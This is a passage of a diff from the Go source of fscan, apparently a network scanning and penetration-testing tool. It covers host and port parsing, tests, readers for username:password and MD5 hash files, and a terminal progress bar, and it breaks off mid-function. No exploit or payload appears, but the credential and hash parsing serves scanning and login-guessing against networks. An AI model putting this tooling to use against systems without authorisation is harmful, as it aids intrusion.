func TestNewHostSource_RangeError(t *testing.T) {
|
||||||
|
// start > end,looksLikeIPRange 通过(前半部分是有效 IP),但 newRangeHostSource 返回错误
|
||||||
|
_, err := newHostSource("10.0.0.200-10.0.0.100")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("start>end range 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewCIDRHostSource_IPv6DirectCall 直接调用 newCIDRHostSource 传入 IPv6 CIDR
|
||||||
|
func TestNewCIDRHostSource_IPv6DirectCall(t *testing.T) {
|
||||||
|
// IPv6 CIDR —— bits=128 != 32,触发 line 332-334
|
||||||
|
_, err := newCIDRHostSource("::1/128")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("IPv6 CIDR 应被 newCIDRHostSource 拒绝 (bits!=32)")
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,489 @@
|
|||||||
|
package parsers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/config"
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
parsers.go - 核心解析函数
|
||||||
|
|
||||||
|
保留的核心功能:
|
||||||
|
- ParseIP() - IP地址/CIDR/范围解析
|
||||||
|
- ParsePort() - 端口解析
|
||||||
|
- ReadLinesFromFile() - 文件读取
|
||||||
|
- ParseUserPassFile() - 用户密码对解析
|
||||||
|
- ParseHashFile() - 哈希文件解析
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// IP/主机解析
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// ParseIP 解析各种格式的IP地址
|
||||||
|
// 支持单个IP、IP范围、CIDR和文件输入
|
||||||
|
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
|
||||||
|
var hosts []string
|
||||||
|
|
||||||
|
// 从文件读取主机列表
|
||||||
|
if filename != "" {
|
||||||
|
fileHosts, err := ReadLinesFromFile(filename)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(i18n.GetText("parser_read_hosts_failed")+": %w", err)
|
||||||
|
}
|
||||||
|
for _, h := range fileHosts {
|
||||||
|
parsed, err := parseHostString(h)
|
||||||
|
if err != nil {
|
||||||
|
continue // 跳过无效行
|
||||||
|
}
|
||||||
|
hosts = append(hosts, parsed...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析主机参数
|
||||||
|
if host != "" {
|
||||||
|
hostList, err := parseHostString(host)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(i18n.GetText("parser_parse_host_failed")+": %w", err)
|
||||||
|
}
|
||||||
|
hosts = append(hosts, hostList...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理排除主机
|
||||||
|
if len(nohosts) > 0 {
|
||||||
|
matcher := newHostMatcher()
|
||||||
|
hasExclude := false
|
||||||
|
for _, exclude := range nohosts {
|
||||||
|
if strings.TrimSpace(exclude) == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
hasExclude = true
|
||||||
|
if err := matcher.add(exclude); err != nil {
|
||||||
|
return nil, fmt.Errorf(i18n.GetText("parser_parse_exclude_failed")+": %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if hasExclude {
|
||||||
|
hosts = excludeFromList(hosts, matcher)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 去重和排序
|
||||||
|
hosts = removeDuplicateStrings(hosts)
|
||||||
|
sort.Strings(hosts)
|
||||||
|
|
||||||
|
if len(hosts) == 0 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.GetText("parser_no_valid_hosts"))
|
||||||
|
}
|
||||||
|
|
||||||
|
return hosts, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseHostString 解析主机字符串
|
||||||
|
func parseHostString(host string) ([]string, error) {
|
||||||
|
var hosts []string
|
||||||
|
|
||||||
|
for _, h := range strings.Split(host, ",") {
|
||||||
|
h = strings.TrimSpace(h)
|
||||||
|
if h == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case h == "192":
|
||||||
|
cidrHosts, err := parseIPCIDR("192.168.0.0/16")
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
hosts = append(hosts, cidrHosts...)
|
||||||
|
case h == "172":
|
||||||
|
cidrHosts, err := parseIPCIDR("172.16.0.0/12")
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
hosts = append(hosts, cidrHosts...)
|
||||||
|
case h == "10":
|
||||||
|
cidrHosts, err := parseIPCIDR("10.0.0.0/8")
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
hosts = append(hosts, cidrHosts...)
|
||||||
|
case strings.Contains(h, "/"):
|
||||||
|
cidrHosts, err := parseIPCIDR(h)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(i18n.Tr("parser_cidr_failed", h)+": %w", err)
|
||||||
|
}
|
||||||
|
hosts = append(hosts, cidrHosts...)
|
||||||
|
case strings.Contains(h, "-") && !strings.Contains(h, ":") && looksLikeIPRange(h):
|
||||||
|
rangeHosts, err := parseIPRangeString(h)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(i18n.Tr("parser_ip_range_failed", h)+": %w", err)
|
||||||
|
}
|
||||||
|
hosts = append(hosts, rangeHosts...)
|
||||||
|
default:
|
||||||
|
hosts = append(hosts, h)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return hosts, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 端口解析
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// ParsePort 解析端口配置字符串为端口号列表
|
||||||
|
func ParsePort(ports string) []int {
|
||||||
|
if ports == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var result []int
|
||||||
|
|
||||||
|
// 展开端口组
|
||||||
|
ports = expandPortGroups(ports)
|
||||||
|
|
||||||
|
for _, portStr := range strings.Split(ports, ",") {
|
||||||
|
portStr = strings.TrimSpace(portStr)
|
||||||
|
if portStr == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(portStr, "-") {
|
||||||
|
rangePorts := parsePortRange(portStr)
|
||||||
|
result = append(result, rangePorts...)
|
||||||
|
} else {
|
||||||
|
if port, err := strconv.Atoi(portStr); err == nil {
|
||||||
|
if port >= MinPort && port <= MaxPort {
|
||||||
|
result = append(result, port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
result = removeDuplicatePorts(result)
|
||||||
|
sort.Ints(result)
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// parsePortRange 解析端口范围
|
||||||
|
func parsePortRange(rangeStr string) []int {
|
||||||
|
parts := strings.Split(rangeStr, "-")
|
||||||
|
if len(parts) != 2 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
|
||||||
|
end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
|
||||||
|
|
||||||
|
if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
ports := make([]int, 0, end-start+1)
|
||||||
|
for i := start; i <= end; i++ {
|
||||||
|
ports = append(ports, i)
|
||||||
|
}
|
||||||
|
|
||||||
|
return ports
|
||||||
|
}
|
||||||
|
|
||||||
|
// expandPortGroups 展开端口组
|
||||||
|
func expandPortGroups(ports string) string {
|
||||||
|
portGroups := config.GetPortGroups()
|
||||||
|
parts := strings.Split(ports, ",")
|
||||||
|
for i, part := range parts {
|
||||||
|
token := strings.TrimSpace(part)
|
||||||
|
if portList, ok := portGroups[token]; ok {
|
||||||
|
parts[i] = portList
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.Join(parts, ",")
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 文件读取
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// ReadLinesFromFile 从文件读取非空非注释行
|
||||||
|
func ReadLinesFromFile(filename string) ([]string, error) {
|
||||||
|
file, err := os.Open(filename)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
|
||||||
|
var lines []string
|
||||||
|
scanner := bufio.NewScanner(file)
|
||||||
|
scanner.Buffer(make([]byte, 64*1024), 4*1024*1024)
|
||||||
|
for scanner.Scan() {
|
||||||
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line != "" && !strings.HasPrefix(line, "#") {
|
||||||
|
lines = append(lines, line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return lines, scanner.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 凭据解析
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// ParseUserPassFile 解析用户名:密码文件
|
||||||
|
func ParseUserPassFile(filename string) ([]config.CredentialPair, error) {
|
||||||
|
lines, err := ReadLinesFromFile(filename)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var pairs []config.CredentialPair
|
||||||
|
for _, line := range lines {
|
||||||
|
idx := strings.Index(line, ":")
|
||||||
|
if idx == -1 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
user := strings.TrimSpace(line[:idx])
|
||||||
|
pass := line[idx+1:] // 密码不trim,可能包含空格
|
||||||
|
|
||||||
|
if user == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
pairs = append(pairs, config.CredentialPair{
|
||||||
|
Username: user,
|
||||||
|
Password: pass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
return pairs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseHashFile 解析哈希文件
|
||||||
|
func ParseHashFile(filename string) ([]string, [][]byte, error) {
|
||||||
|
lines, err := ReadLinesFromFile(filename)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var hashValues []string
|
||||||
|
var hashBytes [][]byte
|
||||||
|
|
||||||
|
for _, line := range lines {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if len(line) != 32 { // MD5长度
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !CompiledHashRegex.MatchString(line) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
hashValues = append(hashValues, line)
|
||||||
|
if hashByte, err := hex.DecodeString(line); err == nil {
|
||||||
|
hashBytes = append(hashBytes, hashByte)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return hashValues, hashBytes, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 内部辅助函数
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// parseIPCIDR 解析CIDR网段
|
||||||
|
func parseIPCIDR(cidr string) ([]string, error) {
|
||||||
|
_, ipNet, err := net.ParseCIDR(cidr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var ips []string
|
||||||
|
ip := make(net.IP, len(ipNet.IP))
|
||||||
|
copy(ip, ipNet.IP)
|
||||||
|
|
||||||
|
for ipNet.Contains(ip) {
|
||||||
|
ips = append(ips, ip.String())
|
||||||
|
incrementIP(ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(ips) > 2 {
|
||||||
|
ips = ips[1 : len(ips)-1]
|
||||||
|
}
|
||||||
|
|
||||||
|
return ips, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// looksLikeIPRange 检查字符串是否像IP范围格式
|
||||||
|
// 如 192.168.1.1-100 或 192.168.1.1-192.168.1.100
|
||||||
|
// 而不是像 111-555.sss.com 这种域名
|
||||||
|
func looksLikeIPRange(s string) bool {
|
||||||
|
idx := strings.Index(s, "-")
|
||||||
|
if idx == -1 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// 检查 - 前面的部分是否是有效IP
|
||||||
|
startPart := s[:idx]
|
||||||
|
return net.ParseIP(startPart) != nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseIPRangeString 解析IP范围字符串
|
||||||
|
func parseIPRangeString(rangeStr string) ([]string, error) {
|
||||||
|
parts := strings.Split(rangeStr, "-")
|
||||||
|
if len(parts) != 2 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_range_fmt", rangeStr))
|
||||||
|
}
|
||||||
|
|
||||||
|
startIPStr := strings.TrimSpace(parts[0])
|
||||||
|
endIPStr := strings.TrimSpace(parts[1])
|
||||||
|
|
||||||
|
startIP := net.ParseIP(startIPStr)
|
||||||
|
if startIP == nil {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_start_ip", startIPStr))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理简写格式 (如: 192.168.1.1-100)
|
||||||
|
if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
|
||||||
|
return parseIPShortRange(startIPStr, endIPStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
|
||||||
|
endIP := net.ParseIP(endIPStr)
|
||||||
|
if endIP == nil {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_end_ip", endIPStr))
|
||||||
|
}
|
||||||
|
|
||||||
|
return parseIPFullRange(startIP, endIP)
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseIPShortRange 解析短格式IP范围
|
||||||
|
func parseIPShortRange(startIPStr, endSuffix string) ([]string, error) {
|
||||||
|
endNum, err := strconv.Atoi(endSuffix)
|
||||||
|
if err != nil || endNum > 255 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_end_val", endSuffix))
|
||||||
|
}
|
||||||
|
|
||||||
|
ipParts := strings.Split(startIPStr, ".")
|
||||||
|
if len(ipParts) != 4 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_fmt", startIPStr))
|
||||||
|
}
|
||||||
|
|
||||||
|
prefixIP := strings.Join(ipParts[0:3], ".")
|
||||||
|
startNum, err := strconv.Atoi(ipParts[3])
|
||||||
|
if err != nil || startNum > endNum {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_range_val", startIPStr, endSuffix))
|
||||||
|
}
|
||||||
|
|
||||||
|
var allIP []string
|
||||||
|
for i := startNum; i <= endNum; i++ {
|
||||||
|
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
|
||||||
|
}
|
||||||
|
|
||||||
|
return allIP, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseIPFullRange 解析完整格式的IP范围
|
||||||
|
func parseIPFullRange(startIP, endIP net.IP) ([]string, error) {
|
||||||
|
start4 := startIP.To4()
|
||||||
|
end4 := endIP.To4()
|
||||||
|
if start4 == nil || end4 == nil {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only"))
|
||||||
|
}
|
||||||
|
|
||||||
|
startInt := (int(start4[0]) << 24) | (int(start4[1]) << 16) | (int(start4[2]) << 8) | int(start4[3])
|
||||||
|
endInt := (int(end4[0]) << 24) | (int(end4[1]) << 16) | (int(end4[2]) << 8) | int(end4[3])
|
||||||
|
|
||||||
|
if startInt > endInt {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.GetText("parser_start_gt_end"))
|
||||||
|
}
|
||||||
|
|
||||||
|
var ips []string
|
||||||
|
current := make(net.IP, len(start4))
|
||||||
|
copy(current, start4)
|
||||||
|
|
||||||
|
for {
|
||||||
|
ips = append(ips, current.String())
|
||||||
|
if current.Equal(end4) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
incrementIP(current)
|
||||||
|
}
|
||||||
|
|
||||||
|
return ips, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// incrementIP 计算下一个IP地址
|
||||||
|
func incrementIP(ip net.IP) {
|
||||||
|
for j := len(ip) - 1; j >= 0; j-- {
|
||||||
|
ip[j]++
|
||||||
|
if ip[j] > 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// excludeFromList 从列表中排除指定项
|
||||||
|
func excludeFromList(hosts []string, matcher *hostMatcher) []string {
|
||||||
|
if matcher == nil {
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
|
result := make([]string, 0, len(hosts))
|
||||||
|
for _, h := range hosts {
|
||||||
|
if !matcher.match(h) {
|
||||||
|
result = append(result, h)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// removeDuplicateStrings 去除字符串重复项
|
||||||
|
func removeDuplicateStrings(slice []string) []string {
|
||||||
|
if len(slice) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
seen := make(map[string]struct{}, len(slice))
|
||||||
|
result := make([]string, 0, len(slice))
|
||||||
|
|
||||||
|
for _, item := range slice {
|
||||||
|
if _, found := seen[item]; !found {
|
||||||
|
seen[item] = struct{}{}
|
||||||
|
result = append(result, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// removeDuplicatePorts 去除端口重复项
|
||||||
|
func removeDuplicatePorts(slice []int) []int {
|
||||||
|
if len(slice) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
seen := make(map[int]struct{}, len(slice))
|
||||||
|
result := make([]int, 0, len(slice))
|
||||||
|
|
||||||
|
for _, item := range slice {
|
||||||
|
if _, found := seen[item]; !found {
|
||||||
|
seen[item] = struct{}{}
|
||||||
|
result = append(result, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
@@ -0,0 +1,704 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
|
"golang.org/x/term"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 默认终端宽度
|
||||||
|
const defaultTerminalWidth = 80
|
||||||
|
|
||||||
|
/*
|
||||||
|
ProgressManager.go - 固定底部进度条管理器
|
||||||
|
|
||||||
|
提供固定在终端底部的进度条显示,与正常输出内容分离。
|
||||||
|
使用终端控制码实现位置固定和内容保护。
|
||||||
|
*/
|
||||||
|
|
||||||
|
// ProgressManager 进度条管理器
|
||||||
|
type ProgressManager struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
enabled bool
|
||||||
|
total atomic.Int64
|
||||||
|
current atomic.Int64
|
||||||
|
description string
|
||||||
|
startTime time.Time
|
||||||
|
isActive atomic.Bool
|
||||||
|
terminalHeight int
|
||||||
|
reservedLines int // 为进度条保留的行数
|
||||||
|
lastContentLine int // 最后一行内容的位置
|
||||||
|
|
||||||
|
// 输出缓冲相关
|
||||||
|
outputMutex sync.Mutex
|
||||||
|
|
||||||
|
// 活跃指示器相关
|
||||||
|
spinnerIndex int
|
||||||
|
lastActivity time.Time
|
||||||
|
activityTicker *time.Ticker
|
||||||
|
stopActivityChan chan struct{}
|
||||||
|
|
||||||
|
// 进度条更新控制(减少 Windows 终端的重复输出)
|
||||||
|
lastRenderedPercent int
|
||||||
|
|
||||||
|
// 引用,避免读全局
|
||||||
|
state *State
|
||||||
|
noColor bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// ANSI终端控制码常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// AnsiClearLine 光标和行控制 - 清除当前行并回到行首
|
||||||
|
AnsiClearLine = "\033[2K\r"
|
||||||
|
// AnsiMoveCursor 向上移动N行(格式化字符串)
|
||||||
|
AnsiMoveCursor = "\033[%dA"
|
||||||
|
|
||||||
|
// AnsiRed 颜色代码 - 红色文本
|
||||||
|
AnsiRed = "\033[31m"
|
||||||
|
// AnsiGreen 绿色文本
|
||||||
|
AnsiGreen = "\033[32m"
|
||||||
|
// AnsiYellow 黄色文本
|
||||||
|
AnsiYellow = "\033[33m"
|
||||||
|
// AnsiCyan 青色文本
|
||||||
|
AnsiCyan = "\033[36m"
|
||||||
|
// AnsiGray 灰色文本
|
||||||
|
AnsiGray = "\033[90m"
|
||||||
|
// AnsiReset 重置所有属性
|
||||||
|
AnsiReset = "\033[0m"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
globalProgressManager *ProgressManager
|
||||||
|
progressMutex sync.Mutex
|
||||||
|
|
||||||
|
// 活跃指示器字符序列(旋转动画)
|
||||||
|
spinnerChars = []string{"|", "/", "-", "\\"}
|
||||||
|
|
||||||
|
// 活跃指示器更新间隔
|
||||||
|
activityUpdateInterval = 500 * time.Millisecond
|
||||||
|
)
|
||||||
|
|
||||||
|
// GetProgressManager 获取全局进度条管理器
|
||||||
|
func GetProgressManager() *ProgressManager {
|
||||||
|
progressMutex.Lock()
|
||||||
|
defer progressMutex.Unlock()
|
||||||
|
|
||||||
|
if globalProgressManager == nil {
|
||||||
|
globalProgressManager = &ProgressManager{
|
||||||
|
enabled: true,
|
||||||
|
reservedLines: 2, // 保留2行:进度条 + 空行
|
||||||
|
terminalHeight: getTerminalHeight(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return globalProgressManager
|
||||||
|
}
|
||||||
|
|
||||||
|
// InitProgress 初始化进度条
|
||||||
|
func (pm *ProgressManager) InitProgress(total int64, description string) {
|
||||||
|
cfg := GetGlobalConfig()
|
||||||
|
if cfg.Output.DisableProgress || cfg.Output.Silent || cfg.Output.NoColor {
|
||||||
|
pm.enabled = false
|
||||||
|
return
|
||||||
|
}
|
||||||
|
pm.state = GetGlobalState()
|
||||||
|
pm.noColor = cfg.Output.NoColor
|
||||||
|
|
||||||
|
pm.mu.Lock()
|
||||||
|
defer pm.mu.Unlock()
|
||||||
|
|
||||||
|
pm.total.Store(total)
|
||||||
|
pm.current.Store(0)
|
||||||
|
pm.description = description
|
||||||
|
pm.startTime = time.Now()
|
||||||
|
pm.isActive.Store(true)
|
||||||
|
pm.enabled = true
|
||||||
|
pm.lastActivity = time.Now()
|
||||||
|
pm.spinnerIndex = 0
|
||||||
|
pm.lastRenderedPercent = -1 // 强制首次渲染
|
||||||
|
|
||||||
|
// 为进度条保留空间
|
||||||
|
pm.setupProgressSpace()
|
||||||
|
|
||||||
|
// 启动活跃指示器
|
||||||
|
pm.startActivityIndicator()
|
||||||
|
|
||||||
|
// 初始显示进度条
|
||||||
|
pm.renderProgress()
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateProgress 更新进度
|
||||||
|
func (pm *ProgressManager) UpdateProgress(increment int64) {
|
||||||
|
if !pm.enabled || !pm.isActive.Load() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 原子累加,避免高并发下的锁竞争
|
||||||
|
newCurrent := pm.current.Add(increment)
|
||||||
|
if newCurrent > pm.total.Load() {
|
||||||
|
pm.current.Store(pm.total.Load())
|
||||||
|
}
|
||||||
|
|
||||||
|
// 节流渲染:距上次渲染不足 50ms 则跳过
|
||||||
|
now := time.Now()
|
||||||
|
pm.mu.RLock()
|
||||||
|
lastAct := pm.lastActivity
|
||||||
|
pm.mu.RUnlock()
|
||||||
|
if now.Sub(lastAct) < 50*time.Millisecond {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
pm.mu.Lock()
|
||||||
|
pm.lastActivity = now
|
||||||
|
pm.mu.Unlock()
|
||||||
|
|
||||||
|
pm.renderProgress()
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================================
|
||||||
|
// 已删除的死代码(未使用):SetProgress 设置当前进度
|
||||||
|
// =============================================================================================
|
||||||
|
|
||||||
|
// FinishProgress 完成进度条
|
||||||
|
func (pm *ProgressManager) FinishProgress() {
|
||||||
|
if !pm.enabled || !pm.isActive.Load() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
pm.mu.Lock()
|
||||||
|
defer pm.mu.Unlock()
|
||||||
|
|
||||||
|
pm.current.Store(pm.total.Load())
|
||||||
|
pm.renderProgress()
|
||||||
|
|
||||||
|
// 停止活跃指示器
|
||||||
|
pm.stopActivityIndicator()
|
||||||
|
|
||||||
|
// 显示完成信息
|
||||||
|
pm.showCompletionInfo()
|
||||||
|
|
||||||
|
// 清理进度条区域,恢复正常输出
|
||||||
|
pm.clearProgressArea()
|
||||||
|
pm.isActive.Store(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// setupProgressSpace 设置进度条空间
|
||||||
|
func (pm *ProgressManager) setupProgressSpace() {
|
||||||
|
// 简化设计:进度条在原地更新,不需要预留额外空间
|
||||||
|
// 只是标记进度条开始的位置
|
||||||
|
pm.lastContentLine = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================================
|
||||||
|
// 已删除的死代码(未使用):moveToContentArea 和 moveToProgressLine 方法
|
||||||
|
// =============================================================================================
|
||||||
|
|
||||||
|
// renderProgress 渲染进度条(使用锁避免输出冲突)
|
||||||
|
func (pm *ProgressManager) renderProgress() {
|
||||||
|
pm.outputMutex.Lock()
|
||||||
|
defer pm.outputMutex.Unlock()
|
||||||
|
|
||||||
|
pm.renderProgressUnsafe()
|
||||||
|
}
|
||||||
|
|
||||||
|
// generateProgressBar 生成进度条字符串
|
||||||
|
// 根据终端宽度动态调整内容,确保不超过一行
|
||||||
|
func (pm *ProgressManager) generateProgressBar() string {
|
||||||
|
termWidth := getTerminalWidth()
|
||||||
|
|
||||||
|
// 获取发包统计
|
||||||
|
packetInfo := pm.getPacketInfo()
|
||||||
|
|
||||||
|
if pm.total.Load() == 0 {
|
||||||
|
spinner := pm.getActivityIndicator()
|
||||||
|
base := fmt.Sprintf("%s %s %s", pm.description, spinner, i18n.GetText("progress_waiting"))
|
||||||
|
if packetInfo != "" {
|
||||||
|
return base + " " + packetInfo
|
||||||
|
}
|
||||||
|
return base
|
||||||
|
}
|
||||||
|
|
||||||
|
percentage := float64(pm.current.Load()) / float64(pm.total.Load()) * 100
|
||||||
|
elapsed := time.Since(pm.startTime)
|
||||||
|
current := pm.current.Load()
|
||||||
|
|
||||||
|
// 计算速度
|
||||||
|
speed := float64(current) / elapsed.Seconds()
|
||||||
|
speedStr := ""
|
||||||
|
if speed > 0 {
|
||||||
|
speedStr = fmt.Sprintf(" %.0f/s", speed)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 计算预估剩余时间
|
||||||
|
var eta string
|
||||||
|
if current > 0 && current < pm.total.Load() {
|
||||||
|
totalTime := elapsed * time.Duration(pm.total.Load()) / time.Duration(current)
|
||||||
|
remaining := totalTime - elapsed
|
||||||
|
if remaining > 0 {
|
||||||
|
eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 活跃指示器
|
||||||
|
spinner := pm.getActivityIndicator()
|
||||||
|
|
||||||
|
// 计算固定部分的宽度
|
||||||
|
fixedPart := fmt.Sprintf("%s %s %5.1f%% [] (%d/%d)%s%s %s",
|
||||||
|
pm.description, spinner, percentage, current, pm.total.Load(), speedStr, eta, packetInfo)
|
||||||
|
fixedWidth := displayWidth(fixedPart)
|
||||||
|
|
||||||
|
// 计算进度条槽位可用宽度(预留2字符余量)
|
||||||
|
barWidth := termWidth - fixedWidth - 2
|
||||||
|
if barWidth < 10 {
|
||||||
|
barWidth = 10 // 最小进度条宽度
|
||||||
|
}
|
||||||
|
if barWidth > 30 {
|
||||||
|
barWidth = 30 // 最大进度条宽度
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成进度条
|
||||||
|
filled := int(percentage * float64(barWidth) / 100)
|
||||||
|
if filled > barWidth {
|
||||||
|
filled = barWidth
|
||||||
|
}
|
||||||
|
|
||||||
|
bar := "[" + strings.Repeat("=", filled)
|
||||||
|
if filled < barWidth {
|
||||||
|
bar += ">"
|
||||||
|
bar += strings.Repeat("-", barWidth-filled-1)
|
||||||
|
}
|
||||||
|
bar += "]"
|
||||||
|
|
||||||
|
// 构建最终进度条
|
||||||
|
result := fmt.Sprintf("%s %s %5.1f%% %s (%d/%d)%s%s",
|
||||||
|
pm.description, spinner, percentage, bar, current, pm.total.Load(), speedStr, eta)
|
||||||
|
|
||||||
|
if packetInfo != "" {
|
||||||
|
result += " " + packetInfo
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// getPacketInfo 获取发包统计信息(简化版)
|
||||||
|
func (pm *ProgressManager) getPacketInfo() string {
|
||||||
|
